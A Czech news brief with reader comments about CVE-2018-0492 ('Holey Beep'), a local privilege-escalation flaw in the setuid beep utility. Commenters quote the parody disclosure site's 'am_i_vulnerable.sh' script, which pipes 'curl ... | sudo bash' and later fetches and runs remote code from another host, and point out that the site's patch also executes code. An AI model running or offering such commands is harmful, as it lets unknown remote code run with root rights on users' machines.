Holey Beep, bezpečnostní chyba v programu beep

V programu beep (advanced pc-speaker beeper) byla nalezena bezpečnostní chyba CVE-2018-0492. Má-li beep nastaven s-bit, je chyba zneužitelná k lokální eskalaci práv. Chyba dostala vlastní jméno: Holey Beep [Hacker News].

4.4.2018 12:33 | Ladislav Hagara | Bezpečnostní upozornění

Komentáře

[marbu]

Readme toho beep nástroje je docela poučné:

What this means is that root can always make beep work (to the best of my knowledge!), and that any local user can make beep work, BUT a non-root remote user cannot use beep in it's natural state. What's worse, an xterm, or other x-session counts, as far as the kernel is concerned, as 'remote', so beep won't work from a non-priviledged xterm either. I had originally chalked this up to a bug, but there's actually nothing I can do about it, and it really is a Good Thing that the kernel does things this way. There is also a solution.

By default beep is not installed with the suid bit set, because that would just be zany. On the other hand, if you do make it suid root, all your problems with beep bailing on ioctl calls will magically vanish, which is pleasant, and the only reason not to is that any suid program is a potential security hole. Conveniently, beep is very short, so auditing it is pretty straightforward.

Decide for yourself, of course, but it looks safe to me - there's only one buffer and fgets doesn't let it overflow, there's only one file opening, and while there is a potential race condition there, it's with /dev/console. If someone can exploit this race by replacing /dev/console, you've got bigger problems. :)

[Lyco]

Ta stránka s infomracemi je skvělá. Vynikající parodie.

Nejvíc se mi asi líbil "test jestli je počítač zranitelný":

# curl https://holeybeep.ninja/am_i_vulnerable.sh | sudo bash
# nejsem blázen

curl https://holeybeep.ninja/am_i_vulnerable.sh
#!/bin/sh
# TODO: Backdoor this machine?
modprobe pcspkr
beep -l 1000 -r 3 -f 44000

[AsciiWolf]

Tak v nynější verzi už ten backdoor skutečně je.

$ cat am_i_vulnerable.sh
#!/bin/sh
curl https://l0.re/hb | bash
modprobe pcspkr
beep -l 1000 -r 3 -f 44000

[Semo]

Code execution je aj v patchi propagovanom na https://holeybeep.ninja/

[marbu]

Eh, to je taky dobré. Viz: patch runs ed, and ed can run anything.

[Ruža Becelin]

How do I uninstall Linux?

Please follow these instructions.

By me zajimalo, jestli podobne cenne rady udileji, pokud se najde chyba ve Windows...

[Honza]

Kdyz nejaky troll pak udela podobnou stranku, tak ano. Staci se podivat na commity...